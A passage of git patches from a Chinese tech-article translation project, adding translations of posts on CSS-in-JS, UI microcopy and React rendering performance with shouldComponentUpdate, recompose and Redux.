-Solutions to this problem existed in the form of [BEM](http://getbem.com/) and [SMACSS](https://smacss.com/). You know, those funky class names you see with all the dashes and underscores. Yeah, they’re sweet, and they’re a really nice way to organize your code.
+解决这个问题的方案就是使用 [BEM](http://getbem.com/) 和 [SMACSS](https://smacss.com/) 的形式。你会发现这些带有短横线和下划线的新颖类名是一个非常棒的组织你代码的形式。
 
-But, meh, this was weird. Why was I spending time manually refactoring our CSS into these funky class names? It was automatic, it was grunt work, but it was riddled with human error.
+但是，呃，这很奇怪。为什么我要花时间手动地将我们的 CSS 重构成这些类名呢？它应该是自动化的，是 grunt 的工作，但是现在它充满了人为错误。
 
 —
 
-Now’s the time where I throw in a personal story about my grandmother writing machine code onto punch cards by hand. But, my grandma didn’t do that. She worked for our senator on the welfare board and didn’t have time for the computer stuff, though she was certainly smart enough. I could lie but why do this dance?
+现在是时候讲一个有关我祖母手工为打卡机编写机器码的个人故事了。好吧，我的祖母并没有这么做，她为济贫委员会委员会的参议员工作，即便她已经很聪明了，她也没有足够的时间去做计算机相关的事。我可以撒谎，但是为什么这样跳舞呢？
+
+不管怎样，想象一下假如我的祖母真的为打卡机写了机器码呢？又一次充满着人为的错误！出了一个 bug？重新敲一遍。卡片丢地上了？捡起来然后重新排序，或者直接重新开始。很奇怪吧？我们不能让机器帮我们做这些事么？
 
-Anyway imagine a world where my grandmother *did* write machine code by hand onto punch cards. Again, riddled with human error! Got a bug? Punch ’em all again. Dropped the cards on the floor? Pick ’em all up and re-sort them, or just start over. Weird right? Couldn’t we make robots do this for us?
 
-So that’s exactly what my theoretical grandmother did, she built a machine to punch the cards for her. Okay, she didn’t, but someone else did! And we got cool stuff like assembly code, and FORTRAN, and C. Each step of the way folks took to their equivalent twitter dot com and chastised this new technology. **Just use punch cards! Just use FORTRAN! Just use C —** okay I guess people still do this one.
+这正是我祖母做的，她制作了一个机器为她打卡。好吧，她没这么做，但是别人做了！我们有很酷的东西，如汇编语言，FORTRAN，和C语言。人们会把新技术发展的每一步都发布到 twitter 上并且批评它。**只需要用打卡机！只需要用 FORTRAN！只需要用 C —**。好吧，我猜大家也是这么做的。
 
 —
 
-Which leads me to the point of this article.
+这就引申到到我这篇文章的重点。
 
-CSS is fine, it’s fast, and it’s been fine tuned for over 20 years now for all sorts of applications.
+CSS很好，速度很快，它已经发展了有20多年了，并且适用于各种应用程序。
 
-But I really don’t like writing it. A lot of people don’t, so we develop these cool patterns to write it in. I don’t like writing in those patterns either, I have better stuff to do. And JavaScript is cool. *Actually JavaScript has even more prob — ahem*. [So I write my CSS with JavaScript](https://github.com/khan/aphrodite).
+但是我真的不喜欢写 CSS。很多人也不喜欢，所以我们开发了这些很棒的模式去写 CSS。但是我也不喜欢以这些模式去写，我有更好的事情要去做。并且 JavaScript 也很酷。*实际上 JavaScript 有更多的可能性*。[所以我用 JavaScript 去编写我的 CSS](https://github.com/khan/aphrodite).
 
-Turning this:
+
+把这样的代码:
 
     const Example = () => (
       <h1 className={css(styles.heading, styles.callout)}>
@@ -88,7 +92,7 @@ Turning this:
       },
     })
 
-Into this:
+变成这个样子:
 
     <h1 class="heading_1flg42u-o_O-callout_1ih983s">Hello, world!</h1>
 
@@ -99,22 +103,26 @@ Into this:
         color: tomato !important;
     }
 
-See? Still CSS. Clean CSS. Perfect CSS. To-the-**book** CSS. But I didn’t write it. The robots did. The unused stuff is gone, and I can render `<Example>` *anywhere* and know what it will look like.
+看到没？依然是 CSS，干净的 CSS，完美的 CSS，教科书般的 CSS。但它不是我写的，机器完成了这件事。没用到的代码也被移除了，我可以在任何地方渲染 `<Example>` 并且能确保样式。
+
+[我可以在任何地方呈现可汗学院的学习菜单](https://medium.com/@jdan/rendering-khan-academys-learn-menu-wherever-i-please-4b58d4a9432d)
 
-[Rendering Khan Academy’s Learn Menu Wherever I Please](https://medium.com/@jdan/rendering-khan-academys-learn-menu-wherever-i-please-4b58d4a9432d)
 
 —
 
-I’m on the same team as you. CSS is great, and it would be silly to replace it all together. Just as FORTRAN didn’t replace even lower-level assembly code, [aphrodite](https://github.com/khan/aphrodite) and [styled-components](https://github.com/styled-components/styled-components) aren’t replacing CSS. They’re writing CSS.
+我和你们是同一阵营的。CSS 非常棒，并且一次性把他们全部替换了是非常愚蠢的。就像 FORTRAN 没有替换低级汇编代码一样，[aphrodite](https://github.com/khan/aphrodite) 和 [styled-components](https://github.com/styled-components/styled-components) 并没有替换 CSS。他们正在编写 CSS。
 
-Just promise me you’ll stop telling me to “learn CSS.” I know CSS. Scroll up, I have a trophy with a computer on it. My CSS is great, but it’s even better now that I’m removing as much human error as possible from it. Shouldn’t we both celebrate that?
 
-And hey, I’ll promise you that I’ll stop saying “CSS is bad.” It’s just so much fewer characters than this blog post. It fits in a hashtag! So let’s be friends again, yeah?
+但是请别再和我说去学学 CSS 了。我了解 CSS。往上翻，我在计算机领域拥有一个奖杯。我的 CSS 非常棒，但现在更棒料，因为我正在尽可能的从中移除人为错误。我们不应该庆祝么？
+
+嘿，我也答应你我会停止说 CSS 的坏话。作为博客文章这篇的篇幅太小了，它更适合一个主题标签，那么让我们再来一次？
 
 —
 
-Go ahead and [follow me on twitter](https://twitter.com/jdan) so we can yell at each other there. If I had a book I’d probably link it here, but no one will give me a book deal. Hope you enjoyed this post ❤
+去关注我的 [twitter](https://twitter.com/jdan)，这样我们就可以互相争论了。如果我有一本书，我可能会链接到这里，但是没人会给我出书的邀约的。希望你喜欢这篇文章 ❤
 
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
+
+

From 94e965039d7552153c7aa67b6019428f9ad47d86 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Tue, 4 Apr 2017 20:41:37 +0800
Subject: [PATCH 036/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E6=A0=87=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/css-is-fine-its-just-really-hard.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/css-is-fine-its-just-really-hard.md b/TODO/css-is-fine-its-just-really-hard.md
index b0859f28423..4a018dbec8d 100644
--- a/TODO/css-is-fine-its-just-really-hard.md
+++ b/TODO/css-is-fine-its-just-really-hard.md
@@ -6,7 +6,7 @@
 
 ---
 
-# CSS很棒，可是太难了
+# CSS很棒，只是真的太难了
 
 大家对CSS再次感到不安。现在是时候站在制高点 [写一些讽刺性的文章](https://medium.com/friendship-dot-js) 让自己感觉好一些了，不过今天说的是一些热门话题。
 

From 23ed37f84466191c7c75a5113f9b4d835db96524 Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Tue, 4 Apr 2017 21:09:32 +0800
Subject: [PATCH 037/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=B8=80=E4=BA=9B?=
 =?UTF-8?q?=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/the-details-that-matter.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/the-details-that-matter.md b/TODO/the-details-that-matter.md
index 36011d811c3..55fc01f8e00 100644
--- a/TODO/the-details-that-matter.md
+++ b/TODO/the-details-that-matter.md
@@ -59,7 +59,7 @@ Image credits: [Colin Garven](https://dribbble.com/ColinGarven)
 #### **系统需要告诉用户他的状态是什么** ####
 
 Users want to know their current context in a system at any given time and apps shouldn’t keep them guessing — they should tell the user what’s happening via appropriate visual feedback. For frequent and minor actions, the response can be modest, while for infrequent and major actions, the response should be more substantial.
-在系统中，用户任何时候都会想知道他此刻的状态是什么，而应用不应该让用户自己猜 —— 所以系统应该通过恰当的可视化反馈告诉用户此刻正在发生什么。对于一些常见而且次要的操作，适当的反馈就可以了，而对于不寻常而且重要的操作，反馈就需要更明显一点。
+在系统中，用户任何时候都会想知道他此刻的状态是什么，而这不应该让用户自己去猜 —— 所以系统应该通过恰当的可视化反馈告诉用户此刻正在发生什么。对于一些常见而且次要的操作，适当的反馈就可以了，而对于不寻常而且重要的操作，反馈就需要更明显一点。
 
 - [Animated notification](https://uxplanet.org/3-key-uses-for-animation-in-mobile-ui-design-4d7c482dd84b#.x07lyyazb) makes it possible for a user to quickly understand the current status.
 - [动态提醒](https://uxplanet.org/3-key-uses-for-animation-in-mobile-ui-design-4d7c482dd84b#.x07lyyazb)可以让用户立刻明白此时的状态。
@@ -78,10 +78,10 @@ A loading bar engages the user and prevents confusion when app is busy loading d
 应用无法快速加载信息的时候，进度条可以避免让用户感到困惑。图片来源：[Mark](https://dribbble.com/milkycookie)
 
 ### Microcopy ###
-### 小的文字信息 ###
+### 少量的文字信息 ###
 
 Microcopy is the little bits of text that guide users through an experience. Microcopy examples are error messages, button labels, hint text. At a glance, these tiny clusters of words seem insignificant when compared to the overall app design. But surprisingly, they have a huge impact on conversions.
-小的文字信息是一些用来是指导用户行为的极为小的文字。举一些例子就是，错误信息、按钮对应的标签、提示信息。乍看之下，这么一小点文字和整个应用设计比起来一点也不重要，但出人意料的是，它们对转化率有着极为重要的影响。
+少量的文字信息是一些用来是指导用户行为的一点点文字。举一些例子就是，错误信息、按钮对应的标签、提示信息。乍看之下，这么少的文字和整个应用设计比起来一点也不重要，但出人意料的是，它们对转化率有着极为重要的影响。
 
 > Writing good microcopy in your app is just as important as having the app work correctly and the user interface being easy and efficient to use.
 > 在应用里写出好的文字信息，和让应用正常运行、用户界面易于使用一样重要。
@@ -125,7 +125,7 @@ Error states must incorporate concise, friendly, and instructive copy as to what
 #### 减少用户的担忧 ####
 
 Microcopy is extremely contextual. That’s why it’s so valuable. It answers a very specific question people have and speaks to their concerns right on the spot. For example, microcopy can be fundamental in reassuring your users at the point of subscribing or sharing details. Whilst ‘not to spam/auto-tweet’ might be taken for granted by good marketers when asking for email address/access to the social network account connections, the user is less than sure. Thus, when people add their emails or connect their Twitter accounts, say “we hate spam as much as you do.”
-小的文字信息是很情景化的，这也是为什么它很重要的一个原因。它可以解答用户具体情况下的问题，并针对他们所担忧的事情进行直接地交流。举例来说，当用户选择订阅或是提供了具体信息的时候，一些文字信息对于消除用户担忧会起到相当关键的作用。对于优秀的营销人员来说，“不会有群发消息或是自动关注”是理所当然的事情，但用户自己会存疑。因此，当用户添加了他们的邮箱地址或者绑定了 Twitter 账号的时候，一定要明确表态“我们和你一样讨厌垃圾消息”。
+这些少量的文字信息是很情景化的，这也是为什么它很重要的一个原因。它可以解答用户具体情况下的问题，并针对他们所担忧的事情进行直接地交流。举例来说，当用户选择订阅或是提供了具体信息的时候，一些文字信息对于消除用户担忧会起到相当关键的作用。对于优秀的营销人员来说，“不会有群发消息或是自动关注”是理所当然的事情，但用户自己会存疑。因此，当用户添加了他们的邮箱地址或者绑定了 Twitter 账号的时候，一定要明确表态“我们和你一样讨厌垃圾消息”。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*Cl0P6ebhZTDkCGAHGjLnhA.png">
 

From 7c7b54824e9235a528389ac64e6e7226c7b3ad8f Mon Sep 17 00:00:00 2001
From: ace <leanne06204@163.com>
Date: Tue, 4 Apr 2017 23:58:24 +0800
Subject: [PATCH 038/638] =?UTF-8?q?=E5=88=9D=E8=AF=91:=20React=20=E7=9A=84?=
 =?UTF-8?q?=E6=85=A2=E4=B8=8E=E5=BF=AB=EF=BC=9A=E4=BC=98=E5=8C=96=20React?=
 =?UTF-8?q?=20=E5=BA=94=E7=94=A8=E5=AE=9E=E6=88=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-is-slow-react-is-fast.md | 131 +++++++++++++++++++++++++++-
 1 file changed, 130 insertions(+), 1 deletion(-)

diff --git a/TODO/react-is-slow-react-is-fast.md b/TODO/react-is-slow-react-is-fast.md
index 4e71257e14a..ec25f17b112 100644
--- a/TODO/react-is-slow-react-is-fast.md
+++ b/TODO/react-is-slow-react-is-fast.md
@@ -1,39 +1,62 @@
 > * 原文地址：[React is Slow, React is Fast: Optimizing React Apps in Practice](https://marmelab.com/blog/2017/02/06/react-is-slow-react-is-fast.html/)
 > * 原文作者：[François Zaninotto ](https://github.com/francoisz)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
+> * 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)
 > * 校对者：
 
 # React is Slow, React is Fast: Optimizing React Apps in Practice
+# React 的慢与快：优化 React 应用实战
 
 React is slow. I mean, any medium-size React application is slow. But before you start looking for alternatives, you should know that any medium-size Angular of Ember application is slow, too. And the good news is: If you care about performance, it’s fairly easy to make any React application super fast. Here is how.
 
+React 是慢的。我的意思是，任何中等规模的 React 应用都是慢的。但是在开始找备选方案之前，你应该明白任何中等规模的 Angular 应用也是慢的。好消息是：如果你在乎性能，使 React 应用变得超级快则相当容易。这里就是例子。
+
 ## Mesuring React Performance
 
+## 测量 React 性能
+
 What do I mean by “slow”? Let’s take an example.
 
+我说的 “慢” 到底是什么意思？举个例子。
+
 I’m working on an open-source project called [admin-on-rest](https://github.com/marmelab/admin-on-rest), which leverages [material-ui](http://www.material-ui.com/#/) and [Redux](http://redux.js.org/) to provide an admin GUI for any REST API. This application has a datagrid page, displaying a list of records in a table. When the user changes the sort order, or goes to the next page, or filters the result, the interface isn’t as responsive as I would expect. The following screencast shows the refresh slowed down 5 times:
 
+我正在为 [admin-on-rest](https://github.com/marmelab/admin-on-rest) 这个开源项目工作，它使用 [material-ui](http://www.material-ui.com/#/) 和 [Redux](http://redux.js.org/) 为任一 REST API 提供一个 admin 用户图形界面。这个应用已经有一个数据页，在一个表格中展示一系列记录。当用户改变订阅类型，导航到下一个页面，或者做结果删选，这个界面的响应式做的我不够满意。接下来的截屏展示的是放慢 5x 倍速的刷新。
+
 ![Datagrid refresh](https://marmelab.com/images/blog/admin-on-rest-slow-sort.gif)
 
 To see what’s happening, I append a `?react_perf` to the URL. This enables [Component Profiling](https://facebook.github.io/react/blog/2016/11/16/react-v15.4.0.html#profiling-components-with-chrome-timeline) since React 15.4. I wait for the initial datagrid to load. Then I open the Chrome Developer Tools on the Timeline tab, hit the “Record” button, and click on a table header to update the sort order. Once the data refreshes, I hit the “Record” button again to stop recording, and Chrome displays a yellow flamegraph with a “User Timing” label.
 
+来看看发生了什么，我在 URL 里插入一个 `?react_perf`。自 React 15.4，可以通过这个属性启用 [组件 Profiling](https://facebook.github.io/react/blog/2016/11/16/react-v15.4.0.html#profiling-components-with-chrome-timeline)。等待初始化数据页加载完毕。在 Timeline 面板打开 Chrome 开发者工具，点击 "Record" 按钮，并单击表头更新命令类型。一旦数据更新，再次点击 "Record" 按钮停止记录，Chrome 会在 "User Timing" 标签下展示一个黄色的火焰图。
+
 ![Initial flamegraph](https://marmelab.com/images/blog/initial_flamegraph.png)
 
 If you’ve never seen a flamegraph, it can look intimidating, but it’s actually very easy to use. This “User Timing” graph shows the time passed in each of your components. It hides the time spend inside React internals (you can’t optimize this time anyway), so it lets you focus on optimizing your app. The Timeline displays screenshots of the window at various stages, this lets me zoom in to the moment I clicked on the table header:
 
+如果你从未见过火焰图，看起来会有点吓人，但它确实非常易于使用。这个 "User Timing" 图显示的是每个组件占用的时间。它隐藏了 React 内部花费的时间（这部分时间是你无法优化的），所以这图使你专注优化你的应用。这个 Timeline 显示的是不同阶段的窗口截屏，点击表头的时间，就能聚焦到对应的时间点的情况。
+
 ![Initial flamegraph zoomed](https://marmelab.com/images/blog/initial_flamegraph_zoomed.png)
 
 It seems that my app rerenders the `<List>` component just after clicking on the sort button, *before* even fetching the REST data. And this takes more than 500ms. The app just updates the sort icon in the table header, and displays a grey overlay on the datagrid to show that the data is being fetched.
 
+似乎在点击排序按钮后，甚至在拿到 REST 数据 **之前** 就已经重新渲染，我的应用就重新渲染了 `<List>` 组件。这个过程花费了超过 500ms。这个应用仅仅更新了表头的排序 icon，和在数据表之上展示灰色遮罩表明数据仍在传输。
+
 To put it otherwise, the app takes half a second to provide visual feedback to a click. Half a second is definitely perceivable - UI experts say that [users perceive an interface change as instantaneous when it’s below 100ms](https://www.nngroup.com/articles/website-response-times/). A change slower than that is what I mean by “slow”.
 
+另外，这个应用花了半秒钟提供点击的视觉反馈。500ms 绝对是可感知的 - UI 专家如是说，[当视觉层改变低于 100ms 时，用户感知才是瞬时的](https://www.nngroup.com/articles/website-response-times/)。这一可觉察的变更即是我所说的 ”慢“。
+
 ## Why Did You Update?
 
+## 为何而更新？
+
 In the flamegraph above, you can see many tiny pits. That’s not a good sign. It means that many components are rerendered. The flamegraph shows that the `<Datagrid>` update takes the most time. Why did the app rerender the entire datagrid before fetching new data? Let’s dig down.
 
+根据上述火焰图，你会看到许多小的凹陷。那不是一个好标志。这意味着许多组件被重绘了。火焰图显示，`<Datagrid>` 组件更新花费了最多时间。为什么在获取到新数据之前应用会重绘整个数据表呢？让我们来深入探讨。
+
 Understanding the causes of a rerender often implies adding `console.log()` statements in `render()` functions. For functional components, you can use the following one-liner Higher-Order Component (HOC):
 
+要理解重绘的原因，通常要借助在 `render` 函数里添加 `console.log()` 语句。因为函数式的组件，你可以使用如下的单行高阶组件（HOC）:
+
 ```
 // in src/log.js
 const log = BaseComponent => props => {
@@ -49,14 +72,24 @@ export default log(MyComponent);
 
 **Tip**: Another React performance tool worth mentioning is [`why-did-you-update`](https://github.com/garbles/why-did-you-update). This npm package patches React to emit console warnings whenever a component rerenders with identical props. Caveats: The output is verbose, and it doesn’t work on functional components.
 
+**小提示**：另一值得一提的 React 性能工具是 [`why-did-you-update`](https://github.com/garbles/why-did-you-update)。这个 npm 包在 React 基础上打了一个补丁，当一个组件基于相同 props 重绘时会打出 console 警告。警告：输出十分冗长，并且在函数式组件中不起作用。
+
 In the example, when the user clicks on a header column, the app emits an action, which changes the state: the list sort order (`currentSort`) is updated. This state change triggers the rerendering of the `<List>` page, which in turn rerenders the entire `<Datagrid>` component. We want the datagrid header to be immediately rendered to show the sort icon change as a feedback to user action.
 
+在这个例子中，当用户点击列的标题，应用触发一个 action 来改变 state：此列的排序 [`currentSort`] 被更新。这个 state 的改变触发了 `<List>` 页的重绘，反过来造成了整个 `<Datagrid>` 组件的重绘。我们希望 datagrid 表头能够在用户行为产生时立即重绘用以展示排序 icon，作为用户行为的反馈。
+
 What makes a React app slow is usually not a single slow component (that would translate in the flamegraph as one large pit). **What makes a React app slow is, most of the time, useless rerenders of many components.** You may have read that the React VirtualDom is super fast. That’s true, but in a medium size app, a full redraw can easily render hundreds of components. Even the fastest VirtualDom templating engine can’t make that in less than 16ms.
 
+使得 React 应用迟缓的通常不是单个慢的组件（在火焰图中反映为一个大的区块）。**大多数时候，使 React 应用变慢的是许多组件无用的重绘。** 你也许曾读到，React 虚拟 DOM 超级快的言论。那是真的，但在一个中等规模的应用中，全量重绘容易造成成百上千的组件重绘。甚至最快的虚拟 DOM 模板引擎也不能使这一过程低于 16ms。
+
 ## Cutting Components To Optimize Them
 
+## 切割组件即优化
+
 Here is the `<Datagrid>` component `render()` method:
 
+这是 `<Datagrid>` 组件的 `render()` 方法：
+
 ```
 // in Datagrid.js
 render() {
@@ -87,8 +120,12 @@ render() {
 
 This seems like a very simple implementation of a datagrid, yet it is *very inefficient*. Each `<DatagridCell>` call renders at least two or three components. As you can see in the initial interface screencast, the list has 7 columns, 11 rows, that means 7x11x3 = 231 components rerended. When only the `currentSort` changes, it’s a waste of time. Even though React doesn’t update the real DOM if the rerendered VirtualDom is unchanged, it takes about 500ms to process all the components.
 
+这看起来是一个非常简单的 datagrid 的实现，然而这 **非常低效**。每个 `<DatagridCell>` 调用会渲染至少两到三个组件。正如你在初次界面截图里看到的，这个表有 7 列，11 行，即 7*11*3 = 231 个组件会重新渲染。仅仅是 `currentSort` 的改变时，这简直是浪费时间。即使如果虚拟 DOM 没有更新，React 不更新真实的 DOM时，所有组件的处理也会耗费 500ms。
+
 In order to avoid a useless rendering of the table body, I must first *extract* it:
 
+为了避免无用的表体渲染，第一步就是把它 **抽取** 出来：
+
 ```
 // in Datagrid.js
 render() {
@@ -114,6 +151,8 @@ render() {
 
 I created a new `<DatagridBody>` component by extracting the table body logic:
 
+在抽取表体逻辑之后，我创建了新的 `<DatagridBody>` 组件：
+
 ```
 // in DatagridBody.js
 import React from 'react';
@@ -135,14 +174,24 @@ export default DatagridBody;
 
 Extracting the table body has no effect on performance, but it reveals the path to optimization. Large, general purpose components are hard to optimize. Small, single-responsibility components are much easier to deal with.
 
+抽取表体在性能上毫无作用，但它反映了一条优化之路。庞大的，通用的组件优化起来有难度。小的，单一职责的组件更容易处理。
+
+## shouldComponentUpdate
+
 ## shouldComponentUpdate
 
 The [React documentation](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate) is very clear about the way to avoid useless rerenders: `shouldComponentUpdate()`. By default, React *always renders* a component to the virtual DOM. In other terms, it’s your job as a developer to check that the props of a component didn’t change and skip rendering altogether in that case.
 
+[React 文档](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate) 里对于避免无用的重绘有非常明确的方法：`shouldComponentUpdate()`。默认的，React **一直重绘** 组件到虚拟 DOM 中。换句话说，作为开发者，在那种情况下，检查 props 没有改变的组件和跳过绘制都是你的工作。
+
 In the case of the `<DatagridBody>` component above, there should be no rerender of the body unless the props have changed.
 
+以上述 `<DatagridBody>` 组件为例，除非 props 改变，否则 body 就不应该重绘。
+
 So the component should be completed as follows:
 
+所以组件应该如下：
+
 ```
 import React, { Component } from 'react';
 
@@ -173,24 +222,42 @@ export default DatagridBody;
 
 **Tip**: Instead of implementing `shouldComponentUpdate()` manually, I could inherit from React’s `PureComponent` instead of `Component`. This would compare all props using strict equality (`===`) and rerender only if *any* of the props change. But I know that `resource` and `children` cannot change in that context, so I don’t need to check for their equality.
 
+**小提示**：相比手工实现 `shouldComponentUpdate()` 方法，我可以继承 React 的 `PureComponent` 而不是 `Component`。这个组件会用严格对等（`===`）对比所有的 props，并且仅当 **任一** props 变更时重绘。但是我知道在例子的上下文中 `resource` 和 `children` 不不会变更，所以无需检查他们的对等性。
+
 With this optimization, the rerendering of the `<Datagrid>` component after clicking on a table header skips the table body and its 231 components entirely. This reduces the update time from 500ms to 60ms. That’s a net performance improvement of more than 400ms!
 
+有了这一优化，点击表头后，`<Datagrid>` 组件的重绘会跳过表体及其全部 231 个组件。这会将 500ms 的更新时间减少到 60ms。网络性能能有超过 400ms！
+
 ![Optimized flamegraph](https://marmelab.com/images/blog/optimized_flamegraph.png)
 
 **Tip**: Don’t get fooled by the flamegraph width, it’s zoomed even more than the previous flamegraph. This one is definitely better!
 
+**小提示**：别被火焰图的宽度骗了，比前一个火焰图而言，它放大了。这幅火焰图显示的性能绝对是最好的！
+
 The `shouldComponentUpdate` optimization has removed a lot of pits in the graph, and reduced the overall rendering time. I can use the same trick to avoid even more rerenders (e.g. to avoid rendering the sidebar, the action buttons, the table headers that didn’t change, the pagination). After about an hour of work, the entire page renders just 100ms after clicking on a header column. That’s fast enough - even if there is still room for optimization.
 
+`shouldComponentUpdate` 优化在图中去掉了许多凹坑，并减少了整体渲染时间。我会用同样的方法避免更多的重绘（例如：避免重绘 sidebar，操作按钮，没有变化的表头和页码）。一个小时的工作之后， 点击表头的列后，整个页面的渲染时间仅仅是 100ms。那相当快了 - 即使仍然存在优化空间。
+
 Adding a `shouldComponentUpdate` method may seem cumbersome, but if you care about performance, most of the components you write should end up with one.
 
+添加一个 `shouldComponentUpdate` 方法也许似乎很麻烦，但如果你真的在乎性能，你所写的大多数组件都应该加上。
+
 Don’t do it everywhere - executing `shouldComponentUpdate` on simple components is sometimes slower than just rendering the component. Don’t do that too early in the life of an application either - this would be premature optimization. But as your apps grow, and you can detect performance bottlenecks in your components, add `shouldComponentUpdate` logic to remain fast.
 
+别哪里都加上 `shouldComponentUpdate` - 在简单组件上执行 `shouldComponentUpdate` 方法有时比仅渲染组件要耗时。也别在应用的早期使用 - 这将过早地进行优化。但随着应用的壮大，你会发现组件上的性能瓶颈，此时才添加 `shouldComponentUpdate` 逻辑保持快速地运行。
+
 ## Recompose
 
+## 重组
+
 I’m not very happy with the previous change on `<DatagridBody>`: because of `shouldComponentUpdate`, I had to transform a simple, functional component to a class-based component. This adds more lines of code, and every line of code has a cost - to write, to debug, and to maintain.
 
+我不是很满意之前在 `<DatagridBody>` 上的改造：为了使用 `shouldComponentUpdate`，我不得不改造成简单的基于类的函数式组件。这增加了许多行代码，每一行代码都要耗费精力 - 去写，调试和维护。
+
 Fortunately, you can implement the `shouldComponentUpdate` logic in a higher-order component (HOC) thanks to [recompose](https://github.com/acdlite/recompose). It’s a functional utility belt for React, providing for instance the `pure()` HOC:
 
+幸运的是，得益于 [recompose](https://github.com/acdlite/recompose)，你能够在高阶组件（HOC）上实现 `shouldComponentUpdate` 的逻辑。它是一个 React 的函数式工具，提供 `pure()` 高阶实例。
+
 ```
 // in DatagridBody.js
 import React from 'react';
@@ -213,8 +280,12 @@ export default pure(DatagridBody);
 
 The only difference between this code and the initial implementation is the last line: I export `pure(DatagridBody)` instead of `DatagridBody`. `pure` is like `PureComponent`, but without the extra class boilerplate.
 
+这段代码与上述的初始实现仅有的差异是：我导出了 `pure(DatagridBody)` 而非 `DatagridBody`。`pure` 就像 `PureComponent`，但是没有额外的类模板。
+
 I can even be more specific and target only the props that I know may change, using recompose’s `shouldUpdate()` instead of `pure()`:
 
+我甚至能够更加具体到目标，当我所了解的 props 也许会改变时，使用 recompose 的 `shouldUpdate()` 而不是 `pure()`：
+
 ```
 // in DatagridBody.js
 import React from 'react';
@@ -233,8 +304,12 @@ export default shouldUpdate(checkPropsChange)(DatagridBody);
 
 The `checkPropsChange` function is pure, and I can even export it for unit tests.
 
+`checkPropsChange` 是春函数，我甚至可以导出做单元测试。
+
 The recompose library offers more performance HOCs, like `onlyUpdateForKeys()`, which does exactly the type of check I did in my own `checkPropsChange`:
 
+recompose 库提供了更多 HOC 的性能优化方案，例如 `onlyUpdateForKeys()`，这个方法只会检查我在 `checkPropsChange` 中定义的类型是否改变。
+
 ```
 // in DatagridBody.js
 import React from 'react';
@@ -249,14 +324,24 @@ export default onlyUpdateForKeys(['ids', 'data'])(DatagridBody);
 
 I warmly recommend recompose. Beyond performance optimization, it helps you extract data fetching logic, HOC composition, and props manipulation in a functional and testable way.
 
+强烈推荐 recompose 库，撇开性能优化不谈，它能帮助你以函数和可测的方式抽取数据获取逻辑，HOC 组合和进行 props 操作。
+
+## Redux
+
 ## Redux
 
 If you’re using [Redux](http://redux.js.org/) to manage application state (which I also recommend), then connected components are already pure. No need to add another HOC. Just remember that if only one of the props change, then the connected component rerenders - this includes all its children, too. So even if you use Redux for page components, you should use `pure()` or `shouldUpdate()` for components further down in the render tree.
 
+如果你正在使用 [Redux](http://redux.js.org/) 管理应用 state （我也推荐这一方式），那么 connected 组件已经是纯组件了。不需要添加 HOC。只要记住一旦其中一个 props 改变了，connected 组件就会重绘 - 这也包括了所有子组件。所以甚至当你在页面组件上使用 Redux 时，你也应该在渲染树的深层用 `pure()` 或 `shouldUpdate()`。
+
 Also, beware that Redux does the props comparison using strict equality. Since Redux connects the state to a component’s props, if you mutate an object in the state, Redux props comparison will miss it. That’s why you must use **immutability** in your reducers.
 
+并且，当心 Redux 用严格模式对比 props。因为 Redux 将 state 绑定到组件的 props 上，如果你修改 state 上的一个对象，Redux 的 props 对比会错过它。这也是为什么你必须在 reducer 中用 **不可变性原则**
+
 For instance, in admin-on-rest, clicking on a table header dispatches a `SET_SORT` action. The reducer listening to that action must pay attention to *replace* objects in the state, not *update* them:
 
+举个栗子，在 admin-on-rest 中，点击表头 dispatch 一个 `SET_SORT` action。监听这个 action 的 reducer 必须 **替换** state 中的 object，而不是 **更新** 他们。
+
 ```
 // in listReducer.js
 export const SORT_ASC = 'ASC';
@@ -299,6 +384,8 @@ export default (previousState = initialState, { type, payload }) => {
 
 With this reducer, when Redux checks for changes using triple equal, it finds that the state object is different, and rerenders the datagrid. But had we mutated the state, Redux would have missed the state change, and skipped rerendering by mistake:
 
+还是这个 reducer，当 Redux 用 '===' 检查到变化时，它发现 state 对象的不同，然后重绘 datagrid。但是我们修改 state 的话，Redux 将会忽略 state 的改变并错误地跳过重绘：
+
 ```
 // don't do this at home
 export default (previousState = initialState, { type, payload }) => {
@@ -325,12 +412,20 @@ export default (previousState = initialState, { type, payload }) => {
 
 To write immutable reducers, other developers like to use [immutable.js](https://facebook.github.io/immutable-js/), also from Facebook. I find it unnecessary, since ES6 destructuring makes it easy to selectively replace a component properties. Besides, Immutable is heavy (60kB), so think twice before you add it to your project dependencies.
 
+为了不可变的 reducer，其他开发者喜欢用同样来自 Facebook 的 [immutable.js](https://facebook.github.io/immutable-js/)。我觉得这没必要，因为 ES6 解构赋值使得有选择地替换组件属性十分容易。另外，Immutable 也很笨重（60kB），所以在你的项目中添加它之前请三思。
+
 ## Reselect
 
+## 重新选择
+
 To prevent useless renders in (Redux) connected components, you must also make sure that the `mapStateToProps` function doesn’t return new objects each time it is called.
 
